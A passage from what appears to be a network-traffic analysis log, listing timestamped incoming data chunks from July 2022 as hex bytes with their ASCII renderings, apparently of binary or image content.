ef 0b 6a ea 3f 04 4c a4 ef db bd f7 0c de d7 0d 73 7a 52 8f 8e 04 77 fa 7c 34 7a 36 06 a4 52 44 f1 1f 8a cf e6 1a ef 66 e1 15 Data Ascii: -!oQS?^rMB qIHU0&XR*\zk#Q(G%jZ9EMZfOktnxUmFg;vul}/7pdM{`T#{5z]mr#z~v2V2e3qnWoxGTGfVTdj?LszRw\|4z6RDf
2022-07-20 07:08:25 UTC	5828	IN	Data Raw: a4 90 35 58 92 0f 45 36 87 42 2a e9 a0 8a 7e 1d 2d 7f 63 10 86 a1 c6 5c c4 2a d2 47 41 c8 43 68 65 d4 37 bb de 35 d3 51 34 8a c5 1c d4 4a 1b 34 7a 3d 5c 8a 3b 0e b8 f5 25 26 b3 81 ff 00 67 6c 32 51 d7 74 85 a4 10 25 22 9a e8 d5 75 19 09 1b 14 51 5e 8f 47 c1 03 d1 88 ac e0 63 c3 f2 8f a5 7f d9 93 6a 1c d7 46 5c 1f 8d 35 60 fb 8d 69 ec 92 32 d2 07 5c 70 35 14 ff 00 12 07 4a 41 34 7a 31 28 40 d8 5c 7b 70 c6 81 bf 66 48 bd a3 2e cd 67 b6 8e 83 0c a4 a8 f8 22 91 47 20 64 dd 1c 75 1f 04 68 23 7b 04 9d ec 2e 9f b4 19 a3 f6 0e 84 2b a1 03 ac 90 6a c0 c4 9e b2 4e ee 17 1a b9 71 c5 24 94 cc 6a fe 64 25 66 91 45 19 30 36 82 09 fd 99 ce 16 5d af 9a 8c a8 be 21 ad 75 1d 0d aa b0 c3 0c 4e aa 45 1f 04 d5 d0 71 f1 b2 90 40 d5 9c 0c 48 e9 46 25 14 64 fd a0 30 c3 7f 4d 1c Data Ascii: 5XE6B~-c\GAChe75Q4J4z=\;%&gl2Qt%"uQ^GcjF\5`i2\p5JA4z1(@\{pfH.g"G duh#{.+jNq$jd%fE06]!uNEq@HF%d0M
2022-07-20 07:08:25 UTC	5836	IN	Data Raw: da eb ea 34 f2 cd 16 21 4a 5c 71 81 99 55 5c 7f 33 c5 96 a5 58 a4 6b 5f 37 18 c4 93 cc 24 f1 06 f8 a8 18 88 64 b8 23 30 b8 f6 1e ea 78 8a 84 9c 49 70 46 0a 54 f3 26 5f 36 6e 25 6a 60 81 ad 1d 8d c6 c3 f7 d7 77 de a1 1d fa 91 0e 50 77 03 e1 fb b4 42 e1 8e 02 b6 dc 83 6c 68 96 0a 48 1d 96 bd 10 55 84 83 65 8e 16 a0 19 15 97 c2 4d ee bf 57 86 96 39 32 aa 6c 06 db 05 30 8f 97 67 fc e8 df 69 db df 4b 21 b9 41 b6 db 45 3a 90 49 63 61 6e f3 fd 74 74 9e a6 19 63 60 46 75 c1 94 8d 8c 33 78 d1 b9 91 ab 2e a1 83 6a 74 e3 20 97 fc c4 d8 b9 bc dc 3c b9 be ed 10 2d 71 41 b9 5b 78 38 d4 90 e9 f4 f2 bf a8 c2 7a c8 f1 9e 00 8b 8c dd 58 b9 8a e4 f2 f2 f8 ab 51 ac 8b 20 e8 28 95 d6 f6 25 0b 04 2d 12 f8 f2 b3 8c cb e4 e2 ab 51 5d 86 f4 a0 63 ec a9 92 48 53 51 04 d1 90 15 ee Data Ascii: 4!J\qU\3Xk_7$d#0xIpFT&_6n%j`wPwBlhHUeMW92l0giK!AE:Icanttc`Fu3x.jt <-qA[x8zXQ (%-Q]cHSQ
2022-07-20 07:08:25 UTC	5852	IN	Data Raw: 79 32 e5 65 ce c9 47 53 eb 6c 5b d4 3a 69 1b 33 20 56 c8 ab c0 de 52 cf 1b f3 f8 f8 69 b4 f1 4a 26 8a 45 ea 23 29 37 b5 ec e1 83 62 af e6 5a 31 a0 37 cc 32 9b e0 8a 3c 03 df 49 a4 95 cb e9 50 96 58 9b 15 52 79 b2 f8 b8 bc 55 0f a6 45 a5 89 34 d0 04 2d 63 79 1d 97 6c 8d 21 1c 2a cd fc be 5e 15 a6 48 f0 2a 73 e3 cd b7 3d 47 a5 f4 3f 49 40 89 a7 8d ba b3 33 66 1a 87 28 fa 99 12 3c ec b2 c4 b1 a3 47 1c 7c 0b d4 91 e6 ad 3b ea c4 51 7a 1b 00 da 9f d1 ea 1b a2 24 55 f9 7d 51 2e 59 21 9a 59 1f 2e 56 e4 7e 08 ab 5a f3 24 3a 78 7a b2 16 82 30 14 20 42 cb 1c 50 5a ec a9 c2 99 99 79 bc 75 13 4c 88 59 d5 58 84 70 cc 99 86 78 d5 c2 ec 67 8d 96 45 f8 5b cd c3 4d 11 d2 34 9e a5 d5 ba c8 ed f2 ba 76 e4 92 2e 7c d9 fc ad c5 cb 5a 2f 51 f4 09 7f f1 5a 88 91 56 49 35 0e 1e Data Ascii: y2eGSl[:i3 VRiJ&E#)7bZ172<IPXRyUE4-cyl!^Hs=G?I@3f(<G\|;Qz$U}Q.Y!Y.V~Z$:xz0 BPZyuLYXpxgE[M4v.\|Z/QZVI5
2022-07-20 07:08:25 UTC	5868	IN	Data Raw: 37 4f 2e 5c eb f2 b9 72 65 6a 3e 97 e8 a3 f5 90 7a 36 8c 7e a5 a3 0b 61 8e 69 66 c3 19 91 33 a7 5f 26 7c 99 f8 69 7d 33 a8 a6 0d 34 e6 78 57 06 c8 c5 4c 6c 21 93 68 85 f3 66 e9 f2 e7 e2 a5 8d 15 e5 20 b0 08 31 21 8e 3f ba dc d4 3f dc 5e a2 46 97 4c d3 04 01 ef 9c 29 39 24 91 a2 e6 e0 3e 1c bc 69 c5 9a a1 7f 52 f4 fd 37 ab 7a 5e a0 2b 45 aa 64 78 25 53 e5 eb 41 29 68 25 b5 9e 3c ca f1 48 b5 ff 00 9b f4 c9 65 7e b4 ac b2 c3 a8 ca d2 44 6d b5 9d 78 66 82 4b e5 86 66 54 6c fc 3e 1a 87 4b af ea c3 a7 7c c9 d5 81 cc 65 19 87 03 5d 7c 25 f9 f3 70 d2 ea 74 7e a8 f1 6b 21 b1 91 35 71 3c 4c ae 0d b8 25 8b ad 13 b0 6f c3 97 8a a1 f5 3d 66 a7 f5 7d 42 74 ba 79 74 86 32 67 0b 77 9f 46 eb 18 47 8a 67 8f f2 65 e2 47 6c be 6a 30 68 a4 2e 9a 38 da 40 66 f9 25 23 1c 52 e8 Data Ascii: 7O.\rej>z6~aif3_&\|i}34xWLl!hf 1!??^FL)9$>iR7z^+Edx%SA)h%<He~DmxfKfTl>K\|e]\|%pt~k!5q<L%o=f}Btyt2gwFGgeGlj0h.8@f%#R
2022-07-20 07:08:25 UTC	5875	IN	Data Raw: 4e cc a1 7a 68 0b 48 e3 1c dc 2a be 5a 52 8a 15 82 06 2c 1a e2 4c c7 e5 ba af f2 f8 38 5d 68 d8 5d 40 c4 93 60 3e 22 69 74 f0 5c 46 01 56 6f 13 fd e3 fe 5f 95 2b 50 be 9f 26 46 d4 c4 22 71 60 41 50 c2 51 8f 34 72 c4 e8 b2 43 22 78 ab 53 af d7 25 b5 fa c5 06 47 40 aa a6 4c dc 56 8d 07 16 64 fe 63 fc ec dc f5 3e a6 7b d9 14 32 e4 e1 01 c8 8e 14 cd f0 f0 e4 7f 35 6a 3d 5b ae 83 55 06 a2 38 57 4e c7 2c 8d 1b ae 6e b6 9f 79 c8 df 2e 7f f4 f8 ea 25 81 8b ca 15 66 73 62 ad 1b 1b ff 00 db 07 ff 00 33 2f e6 f8 1b 3e 4e 25 a3 07 fb c3 58 34 1a 8d 4e 88 ea 74 56 6b 64 50 38 ba b1 db 3e 78 59 95 ba 7c 93 26 7c bf 96 f4 48 cb 21 0d 83 a8 20 30 5c 33 a8 6e 20 af ce b8 66 e2 a5 fd 74 6b 3b a6 43 24 4c c4 5d 48 fc b9 0a 71 c6 ec 9f 89 6a 43 a3 43 a7 d2 c8 e5 a2 8a 46 ea Data Ascii: NzhH*ZR,L8]h]@`>"it\FVo_+P&F"q`APQ4rC"xS%G@LVdc>{25j=[U8WN,ny.%fsb3/>N%X4NtVkdP8>xY\|&\|H! 0\3n ftk;C$L]HqjCCF
2022-07-20 07:08:25 UTC	5891	IN	Data Raw: 6a d3 43 eb 5a 2d 3c 0d 1a 91 9a 09 2e 84 13 7c a5 13 89 5d 7f ca 5f de a6 b4 a8 da 65 8c 24 65 97 05 5d 99 3a 4d fc cf bd 52 36 88 e6 97 5b 1f 45 ae b7 39 2f b3 2f 9a f5 24 1e 91 f2 14 5a ea c6 cf 29 df f1 47 8f 87 86 8c 3e 9b ac 8e 2f 50 8c 64 30 20 0d 39 20 71 64 79 be 51 f8 63 8b 33 53 89 3a 9a 8d 42 b9 cc 79 06 6b e3 98 5a f9 bc cb 4f ea 2e e1 0a b8 05 0d ef 8e fb d1 95 89 6c e2 cd d9 4e 91 9b 34 4e 08 3d 9b c6 15 34 d2 c8 ac ce 2e ca 30 be 61 9a fd 8b c5 5a 59 3d 3d 89 8e cc b3 ab 28 4e 8c 89 76 3d 47 63 91 91 a3 1d 48 da a2 12 c8 cd 1a 5f 93 71 3e 5b d1 fd 3b b3 ad b9 98 5b 1a 78 54 d8 3a d8 d2 a2 25 e4 50 15 dd b1 16 1f 0d 46 f1 32 18 e4 50 dc 1e 1f 81 bc ac b4 75 31 59 c2 b2 b2 c6 79 18 8d 99 bf bd 52 f4 9d a3 8f 50 c5 99 14 92 a5 af 72 dd 3e 42 Data Ascii: jCZ-<.\|]_e$e]:MR6[E9//$Z)G>/Pd0 9 qdyQc3S:BykZO.lN4N=4.0aZY==(Nv=GcH_q>[;[xT:%PF2Pu1YyRPr>B
2022-07-20 07:08:25 UTC	5907	IN	Data Raw: 6d 3e 82 38 e4 98 dd ca 96 54 62 00 bb 64 ce 55 70 f2 56 45 ba 9e d1 51 7e 93 38 9c 06 ea de 40 e1 fc ac 90 e5 59 21 ca bc f9 99 d5 bc 35 92 3b 17 06 f6 ed ab ca 32 05 da 2d 89 f6 0d f5 1e 9d 67 8f 41 16 0a af 36 26 de 76 51 c5 42 38 3d 6e 0d 56 95 54 f5 5f 4e 8c cc 84 6c 12 40 78 d1 5b cd 4d ab d2 6a f4 ba fd 34 72 f4 f2 47 31 13 29 3c bd 58 24 11 4a b9 bc e9 99 69 c0 59 44 aa bd 67 86 78 8a 84 07 8b 3b 75 0e 63 f7 b2 f1 d6 69 67 98 c5 6c aa ac 2d 1e 50 79 51 08 c9 97 ee d0 97 59 0a 74 d8 2f 02 31 25 88 da f9 5b 66 6f dd a8 e4 f4 a8 1f 4c a8 0f e6 32 9b fd d5 51 58 1c c4 91 4d 6e 65 c4 8a c8 c6 d8 61 56 92 fd e2 8a 20 b2 9d d4 15 a3 59 3e f0 bd aa 4d 4c 10 58 28 c4 a8 b0 fa aa fb 58 e3 4f a0 d4 b3 09 81 0a a8 49 2a 46 fe 1d d4 ca 86 e8 4e 16 c7 0a 3a ad Data Ascii: m>8TbdUpVEQ~8@Y!5;2-gA6&vQB8=nVT_Nl@x[Mj4rG1)<X$JiYDgx;ucigl-PyQYt/1%[foL2QXMneaV Y>MLX(XOI*FN:
2022-07-20 07:08:25 UTC	5915	IN	Data Raw: ea 9c 0a f9 79 d5 38 73 72 d7 cb 17 b6 04 93 be 8b 6c 20 da e3 68 35 2c 7a 69 7a 4e e8 63 59 36 ba e6 16 7e 9b 1e 4c 3c 54 ab 3e 6c 8c 38 8a d8 9e fe 6d b5 ab d0 78 65 8b 3c 24 ed 12 a1 ce 87 f1 2e 65 34 b2 4e 5d d2 21 91 57 72 a9 37 a9 74 1a 0d 7c fa 4d 3c 8f 9c 24 08 8c d7 22 c6 d2 cb c7 02 f9 99 33 71 52 e9 f5 7a 87 9a 38 c0 50 af 66 5b 73 66 6c c3 3b cd 9b 89 e5 cd 9a 8e 82 1d 2c 27 59 3e 9d 8c da 98 19 89 e9 ea 13 fe da 19 30 cb 14 b1 66 ea c8 ad e6 55 a4 58 99 91 96 d7 6b d8 ec b6 da 75 91 7a 86 f9 70 dc 6b f4 42 3f 98 84 3f 50 1c 43 9b 1b 37 99 3e 1a 69 75 2e 4b b6 27 2e 18 76 2d 66 27 a7 8e 1b cf b5 a8 45 1b 17 67 c5 d8 ee 15 84 8c d2 1d ab 6b 83 ff 00 4d 39 d3 34 48 ef 81 ea 48 14 db ba f4 0b 60 e4 ed ef a1 24 f6 50 c3 30 c6 e4 8a 24 0c 05 04 72 Data Ascii: y8srl h5,zizNcY6~L<T>l8mxe<$.e4N]!Wr7t\|M<$"3qRz8Pf[sfl;,'Y>0fUXkuzpkB??PC7>iu.K'.v-f'EgkM94HH`$P0$r
2022-07-20 07:08:25 UTC	5931	IN	Data Raw: 20 e2 36 d3 96 05 98 9c 3b 71 a0 58 09 60 36 3c 76 00 31 1e 21 e5 f3 2d 06 d4 20 80 0c 4a a5 be b4 fb d5 d1 8a 15 32 bd c3 09 14 12 3e 2c f5 1f a8 69 15 5e 68 ee 02 ca 82 44 60 c3 2b 47 24 2f c3 22 38 ff 00 db 4b d6 78 75 3e b5 ac 04 c9 0b 0c e3 49 19 e4 67 f0 7e a9 fc 11 7f 21 38 9f 8a a1 d0 e0 e1 48 c9 b1 72 80 32 e5 b9 ed a0 b3 95 1d a0 1b 9f 77 68 af 95 2a 93 db 19 ba f6 e3 fe 2a cd aa 53 d4 f8 30 bf 7d a9 da 1b ba 38 e5 18 1b f7 d1 86 40 c3 29 c5 4e ea 2a 05 91 06 66 6d ca 07 f4 cb 4c ba 55 68 d8 80 99 e4 39 88 1e 14 85 76 46 3e f5 09 21 63 9e c3 30 63 89 3d ab 41 89 05 48 1c c4 de 8e 8f 56 c1 f4 c3 82 c4 8c ca 0f 99 7c 71 d0 d6 69 a2 55 8d 8e 00 61 94 fd da d6 7a cc 80 08 91 95 2e 48 36 0c 33 72 ef f8 a9 35 72 a2 97 5e 4c dd 9e 63 47 aa 4b 2d ee 6d Data Ascii: 6;qX`6<v1!- J2>,i^hD`+G$/"8Kxu>Ig~!8Hr2wh*S0}8@)NfmLUh9vF>!c0c=AHV\|qiUaz.H63r5r^LcGK-m
2022-07-20 07:08:25 UTC	5947	IN	Data Raw: 8c 6f c3 b7 6d 74 21 55 50 70 be d2 7d e6 b2 90 14 c6 c7 db 44 6a 2e 45 ae 32 ed bd 65 56 ba df 02 7f ac 51 d3 6a cd e2 93 02 54 d8 82 7c 4b e6 b7 95 a9 e2 d1 c8 12 45 24 5c 9c b9 87 c3 9b 0c 6b a2 40 60 36 02 e9 f6 58 d1 4c 87 0d b7 60 6b a7 14 89 ab d3 91 7b 45 76 64 27 c2 c2 d9 bf c3 46 2e 98 57 be 2c 6f 98 1e ca 69 e0 92 d9 b0 60 c7 06 1d 85 68 b7 51 56 36 f0 2d fe aa e8 0b a6 3b 06 cf b6 8c 67 11 85 8f 6d 26 43 94 85 1b 7f 6d 71 10 47 b6 ac 98 50 49 62 8c b8 c0 3a ad 8d 66 15 96 c4 0a ca 63 00 fb 2f 47 88 a8 3b 82 ee a0 ce a4 36 f2 41 37 a6 0b 2b 05 61 6c a5 6f ff 00 a5 2a 6a 1d 9c ae 1b 87 ec ae 03 80 d9 9b 12 2a f1 b0 72 76 16 b5 eb 28 60 0d 0b 4a 2e 2b a9 ab d4 a4 31 f6 b9 b5 34 5e 9f ad 86 69 95 73 14 07 8b 29 f1 05 3c cb ec a3 19 90 7d 75 9d 64 Data Ascii: omt!UPp}Dj.E2eVQjT\|KE$\k@`6XL`k{Evd'F.W,oi`hQV6-;gm&CmqGPIb:fc/G;6A7+alojrv(`J.+14^is)<}ud
2022-07-20 07:08:25 UTC	5954	IN	Data Raw: d8 55 0c 4b 86 d0 a7 06 1f 79 b3 52 45 0e 63 2c 60 17 00 db 0b 66 c1 aa 43 3a 96 d4 3f e5 2c b2 14 e2 bf 14 b9 42 74 25 d3 2f 2b e5 9d 5d 6b a5 0a 8e a0 05 11 19 32 c4 09 e1 2c aa dd 45 94 49 fc a7 cf f7 a8 b6 63 9f 31 56 51 6b 1b 51 d2 f0 85 36 37 0a 33 1f 80 c9 6c f9 7e 1a 25 06 24 5b 1e c3 b6 9b 48 9c 30 2c 86 57 5d c5 ad 95 3f 75 6b e6 b5 95 c1 17 ee 15 17 52 17 3a d5 25 ae 5b e5 f4 d8 70 fc 8b 73 86 f1 66 e2 a6 d2 58 5a 3b bb 1c 36 5b 37 11 5e 1d 94 21 2a c9 aa 85 c7 50 e6 05 19 0e c5 09 e1 90 7d ea 05 23 b6 a1 98 16 91 71 6c 38 47 0f 88 37 96 8a 1b 12 bb 41 b8 20 fd d3 51 e8 60 0b 9e 47 00 5c db f8 bc 22 a3 d0 e9 27 0e 5b 33 c9 85 82 db c5 6d bc 5f dd a2 15 23 97 47 24 20 4c 8e 36 15 6c dd 45 7f e5 3a f9 bc 5c b4 d0 e8 49 c6 e0 08 85 ce 53 f0 ad f8 Data Ascii: UKyREc,`fC:?,Bt%/+]k2,EIc1VQkQ673l~%$[H0,W]?ukR:%[psfXZ;6[7^!*P}#ql8G7A Q`G\"'[3m_#G$ L6lE:\IS
2022-07-20 07:08:25 UTC	5970	IN	Data Raw: 2a c2 d6 02 86 5b 0a c1 80 af cc ac 24 15 7e b2 e1 db 58 3a 11 ed 35 70 62 f7 9a e0 96 31 d9 57 32 a6 3f d3 75 62 d8 77 0a e1 5b fb eb 6a 81 ed ae 39 2d ec c2 bf 31 98 db 1b e3 6a b2 e3 58 e3 5e ce ea b3 29 07 b8 d8 5b be b2 81 57 22 c3 bc 61 56 5b 5c 0e ca 05 80 bf 68 ab 64 f7 d6 00 03 be d4 2f 88 dd 58 29 be cc 70 ae 5c 3b ab 61 02 b1 4c c0 f6 e1 58 a8 03 b8 9a c9 94 9a e1 da 3b eb 11 7f 6d 5c 00 3d b4 6f b7 ba b0 ad 95 63 6f 7d 70 ad fb 2b 88 00 4e da 01 6d 7a bd d0 1e f6 ab 86 43 ec 6a c7 2f b8 de ac a5 4f be b0 cb f5 d5 9a de e3 40 aa 83 ef 35 c2 83 da 0d 5c af da 2b 10 a3 df 47 1f b2 b1 65 fb 6b 99 47 68 b5 0c 8c 87 ba f5 77 5b 61 7c 2c 6a f6 c0 e1 bb f6 0a b8 56 6f c2 68 97 46 1e c0 47 ed ab 88 e5 24 76 2d 5e 44 6c fb ae 2b 89 2e 47 99 45 0b 29 1d Data Ascii: *[$~X:5pb1W2?ubw[j9-1jX^)[W"aV[\hd/X)p\;aLX;m\=oco}p+NmzCj/O@5\+GekGhw[a\|,jVohFG$v-^Dl+.GE)
2022-07-20 07:08:25 UTC	5986	IN	Data Raw: c7 6d 1b 82 45 58 fe cb d7 10 b5 5c ad ad 80 ed ab 01 b3 0c 06 df 7d 5d 45 8f 78 bd 61 7c bd d5 62 09 35 63 6b 7f 5d 66 18 6e d9 7a cb 60 7d d5 8a af 66 cc 6a e7 f6 6d ac 17 0a 38 61 57 ab 90 4d 71 03 7a c3 e9 24 d6 22 b0 ac 0d ab 06 ad d5 66 17 15 78 af 6d f5 76 b8 f6 56 65 27 1d b8 55 ed b6 b6 56 22 b1 c2 ac 76 51 03 61 ed ac aa 30 ef ab 5a bb c5 13 b4 d6 7c 82 fd b6 ac e4 9c 77 56 6c 99 fb 8e 15 75 43 13 ef 5b df f8 a8 08 c6 59 09 da 71 a2 aa c1 9e dc ab 89 a6 5e 96 50 70 2c 53 31 b7 dd a2 cd f3 09 16 02 c7 0f 68 38 ad 1d 8a 0e cb 55 d5 4b 0e ca 37 e0 50 30 c3 1a fd 3f 09 5d b9 88 c7 eb a5 cf 19 67 be 2d 7f f0 6c a0 c9 18 5c d8 86 18 5f dc b5 68 5b 67 6d 65 61 7e f1 b2 ba bb 07 61 ac e4 5a f4 a0 6c 20 53 13 db 4a 83 6b 62 6b 0c 68 cd 2f 22 e3 ed ee a9 Data Ascii: mEX\}]Exa\|b5ck]fnz`}fjm8aWMqz$"fxmvVe'UV"vQa0Z\|wVluC[Yq^Pp,S1h8UK7P0?]g-l\_h[gmea~aZl SJkbkh/"
2022-07-20 07:08:25 UTC	5991	IN	Data Raw: e0 54 f6 1a cc 9b b7 51 74 e9 a8 1d b5 83 a3 31 36 b2 db f6 51 32 c7 d5 51 bd 40 24 7e 1d b4 d1 2a 00 e3 0b 4d 78 b1 fb d6 61 9b ef e5 a1 d4 91 b4 f2 7f a8 41 4f c2 d1 dd 1a 96 29 f5 b1 30 38 8e 99 cc 47 b5 57 8a 9a 11 10 d4 30 38 75 17 21 c3 b3 30 cd 40 2e 95 a2 24 da d7 04 7b 3f b2 8a 08 19 0d ed 74 e1 20 d0 8e 2d 43 83 7c 33 00 19 7b bc ad 59 1b 52 ae fb 72 9c ab 59 5c 03 dd 83 0a 06 20 42 9d ca 0e ef 65 16 6b 49 9b 1c ac 3f a5 ab 86 13 ed 5b 61 40 aa b8 be 17 a1 94 37 7e 65 fa b1 ae a0 19 d8 63 94 9b 66 1e 5a 12 47 0a b6 18 82 78 97 b6 e8 7b 3e ed 10 23 b2 ec c0 8a ca 00 89 4e f6 26 de dc 2f 45 a0 9e 19 4e f5 49 4d ff 00 8d 68 a3 ea 08 23 0c 8c 41 b7 ba b3 3b cb 96 f6 bc 6b 75 fc 4e b8 8a 39 ba d2 12 71 c0 e0 3f 15 66 d1 ba 34 86 f6 0c a0 8c 36 8b 35 Data Ascii: TQt16Q2Q@$~*MxaAO)08GW08u!0@.${?t -C\|3{YRrY\ BekI?[a@7~ecfZGx{>#N&/ENIMh#A;kuN9q?f465
2022-07-20 07:08:25 UTC	6007	IN	Data Raw: 16 5d a0 9d 87 2f 97 cd 5d 7d 30 0e b7 0d 71 8d bb c5 67 8a dd 45 14 5e 54 04 77 f6 d0 74 c2 d5 98 0e 2d f4 18 0b 23 e0 7b 2f ba b2 37 3a fd a2 af b5 5a ae 30 22 89 f1 ae 23 d8 69 64 18 b4 66 e2 bb 4a fe ca 28 30 07 11 43 a8 c7 dd b6 80 47 2a 00 c0 7f 5d 58 30 65 dd 6a cb 28 37 15 c4 b9 81 ee bd 67 3a 44 c8 77 94 02 de c1 58 69 d1 41 db 61 97 df 85 7c b4 21 4d ef 6b e1 fd b4 54 67 52 37 85 c3 eb a2 74 f3 06 27 71 16 ab ce 8c 17 b7 77 d1 71 56 ac 45 1a b8 34 01 ac ab b2 ac 2b 85 aa cc 2e 28 03 81 ab 2e 36 ac 6b 1a ca 86 e2 b8 ab 0a 54 9a 44 2d b1 51 f8 1a e7 c2 8c dc 37 f8 68 c3 ab 84 4a a3 09 74 f3 2e 36 3f 57 f0 b5 2c fa 1d 2b a4 2f 61 f2 c3 32 83 be f7 e2 5f c5 43 37 58 7d c5 1f e2 a2 ee d2 92 76 e6 6c 4f be b9 49 07 bc d1 74 17 27 0b 36 22 81 e9 ae 51 Data Ascii: ]/]}0qgE^Twt-#{/7:Z0"#idfJ(0CG*]X0ej(7g:DwXiAa\|!MkTgR7t'qwqVE4+.(.6kTD-Q7hJt.6?W,+/a2_C7X}vlOIt'6"Q
2022-07-20 07:08:25 UTC	6023	IN	Data Raw: 3c d4 13 31 56 1b 2c dc 4a 7e f7 67 c2 d4 d3 41 67 70 2e c0 60 5b bf cb 9b fb d4 cf 08 e3 5e 65 d8 47 b5 76 d0 66 b8 3d b4 18 9b d0 90 7b 0d 02 c3 65 02 b7 c7 75 65 6c 14 d6 41 c4 bb 8d 1d 44 87 fe d2 75 07 20 c4 37 7d bc 2c b5 d2 6c 6c 2e a7 ba 81 3b 45 5c 0c 46 d1 59 92 4c 8a 0e 29 62 4f d6 2b fe d9 49 53 ef c6 8f 56 3e 9c 89 b6 e2 d5 77 50 cb ec bd 61 18 a3 2c 52 bc 3a b0 32 64 7b dd 81 f0 75 a3 ca 64 8d be 35 a5 d3 e6 8a 6d 1a 6d d3 ca d9 f2 8f f4 db f3 53 f0 37 e1 a5 06 39 60 91 b7 23 66 50 47 95 b8 5b f0 d2 f4 ce 7c e3 c6 08 07 bf 1a 31 bb 71 8b 03 61 70 47 f5 50 59 72 a2 3f 2e 63 8d f7 e4 fb b4 83 4f 22 1d 5a 1b e6 b9 01 ad f7 b6 1f 86 93 55 1c ef a6 12 58 4a 16 cc 8a 4e d6 f6 79 a9 62 26 3d 76 8a 50 43 49 1b 09 32 f9 67 d3 4c 9c 43 27 8e 29 3f bb Data Ascii: <1V,J~gAgp.`[^eGvf={euelADu 7},ll.;E\FYL)bO+ISV>wPa,R:2d{ud5mmS79`#fPG[\|1qapGPYr?.cO"ZUXJNyb&=vPCI2gLC')?
2022-07-20 07:08:25 UTC	6031	IN	Data Raw: 53 ee 3f d9 45 63 46 36 da 6f 7f d9 57 62 48 1b 46 35 b6 45 24 e3 60 47 fc ab 2a b0 c7 60 76 bd fd 82 bf 31 55 7b 73 5c 03 d9 59 70 66 f6 d5 f5 18 b7 60 a2 12 35 53 f6 fd 74 72 f0 ae fb 9a ca cc 48 15 c3 7b d7 60 ed b5 65 72 6d f6 51 03 8b ba d5 66 8c e1 d9 5c 10 9b 77 b9 ac 13 2f be ad ba ae 37 d5 8e 35 75 db 56 6d 9d e3 e9 c3 fe 0b 55 c1 ab d5 8d 71 1a c2 bd 95 7b 56 22 ff 00 d7 44 95 b0 dc 37 55 c7 d4 7e 80 2d 5b 31 ab 6e 35 8e 35 8e ea c2 b1 1f 46 ca cc 46 cf a7 b0 8a ed 1f 45 ea ff 00 4d f7 fd 1b 6a d7 b1 fa 76 7d 16 bd 61 87 d3 dd ff 00 06 18 55 f7 55 c5 a8 0b d8 51 2a 72 db cd bf b8 50 32 0c 09 c1 b7 5f cb 56 cc 08 1e 10 71 14 5a 32 c2 27 18 85 b5 81 f3 61 8e 34 ba b4 0c b3 85 0b d4 46 3c 49 f1 46 73 23 65 f6 66 a7 9a 2d 58 0b b0 24 d1 90 96 fb c8 Data Ascii: S?EcF6oWbHF5E$`G`v1U{s\Ypf`5StrH{`ermQf\w/75uVmUq{V"D7U~-[1n55FFEMjv}aUUQrP2_VqZ2'a4F<IFs#ef-X$
2022-07-20 07:08:25 UTC	6047	IN	Data Raw: e8 22 a6 60 2f 90 83 f5 d6 0b 7a b2 a1 27 1c 29 43 a3 03 de 08 a0 b6 23 13 f6 d0 25 49 00 62 40 ab 26 26 be 62 1f aa b3 91 89 d9 ef a6 0a 09 0c a4 5b 0a 17 5d b5 c6 b8 ef a2 b1 0a e2 18 d8 7b 28 b4 00 03 b6 8a 1c 0a f6 56 52 48 1d d4 36 b5 ee 00 ab 1b 86 ef a2 b6 f7 d3 2b 8c 1a 36 16 df b2 91 a3 4b a8 8c 0b 9d e4 76 56 64 8d af b3 11 6a 55 75 37 b5 89 b6 14 19 85 c8 14 03 0f b2 b1 b0 ac 08 ac 31 af 95 c5 dc 68 e6 0c 0f d9 7a 21 81 b0 fa e8 a8 8d af f7 70 3f f4 d0 33 00 bb b6 5f 0a b8 b1 3d f5 f3 2d 8f d5 57 85 88 36 c4 1e da cc 82 e3 f6 57 16 c2 31 c6 8c ba 62 0b 0c 4a ef f6 8f 35 ab 31 37 27 02 28 8b fd 67 75 70 9b db b7 6d 71 de e6 81 bd cf db 5b 33 2f da 2a f5 8d 61 f4 61 ef ab fd 5f f0 00 4d c5 5d 6a f5 c0 6b 88 61 57 17 f7 56 18 d5 b7 ff 00 c1 85 1a Data Ascii: "`/z')C#%Ib@&&b[]{(VRH6+6KvVdjUu71hz!p?3_=-W6W1bJ517'(gupmq[3/*aa_M]jkaWV
2022-07-20 07:08:25 UTC	6063	IN	Data Raw: 69 a5 ff 00 33 2f 9b 8a af fe e1 d0 b6 81 8c 8e cf 36 94 75 23 6c c7 f9 91 bd a5 8e 1b f1 64 8c 70 d0 f5 4f 4b 8f ff 00 25 e9 73 47 99 a0 82 6e 93 94 38 a4 fa 59 e3 0d 9b f7 59 1b 95 ab f4 93 68 4b 68 16 4b 65 d4 ce 52 5c b7 c0 4b a9 8c 34 6a df ea 64 e9 f9 b2 d6 9d 7d 0f 4c da 7d 0c e9 96 13 94 00 5b c4 99 d6 ea ec ad c2 d6 7e 2e 6a e8 c6 fa 79 54 d8 e6 67 c8 d8 f9 a3 71 9d 78 b8 1b 86 9b a2 67 f4 e9 e6 2a b2 99 22 59 74 d2 a0 e5 76 96 1e a2 24 89 e0 79 21 f8 7a 94 16 79 8e b2 74 3c 45 59 16 32 7e 18 e2 c9 85 14 9d 23 41 e4 cb 6c 69 ed a3 42 e4 da 29 10 5c 1b ff 00 2e 55 ba 7e 17 6a 1a ad 4e 97 4c 48 20 dd 91 73 03 52 3b 68 e0 76 2a 08 66 8d 5c 8b 7b 45 4b a8 d0 eb 22 f4 cd 1c af 79 46 9e 4e 1c 07 34 8b 75 44 75 fb bf 2e b5 5e 91 e8 b2 9f 55 d2 b1 21 75 Data Ascii: i3/6u#ldpOK%sGn8YYhKhKeR\K4jd}L}[~.jyTgqxg"Ytv$y!zyt<EY2~#AliB)\.U~jNLH sR;hvf\{EK"yFN4uDu.^U!u
2022-07-20 07:08:25 UTC	6070	IN	Data Raw: 70 ab 83 b3 e8 ef 14 6a d6 ac 6a e0 57 50 a9 76 ec dd 56 26 c0 6c 02 af 26 0b be fb eb e5 ad 85 5f e8 66 f4 36 10 fa 88 52 44 41 99 2e db b8 24 a9 63 d3 41 14 d3 69 5b e6 c0 d2 04 98 0f 3a b2 9c b2 45 f1 f1 57 e8 3d 55 35 eb 08 16 54 d6 5b 51 0a 1e d8 24 c8 b2 47 f7 73 57 5f 40 fd 6d 33 60 a2 03 d1 01 bf 18 5e 3f bd 46 2d 6c 9a cd 39 66 1c 7a 87 bc 4c 87 76 78 f8 33 f9 78 ea 69 bd 66 51 a8 39 49 cb 0b 75 58 03 e3 79 06 64 4c be da 93 d5 24 d3 bf 40 02 fa 77 92 cc b7 da 08 54 3f 9a c3 cc 95 d0 f5 6d 16 aa 29 a2 be 69 7e 5b 86 1e 54 c7 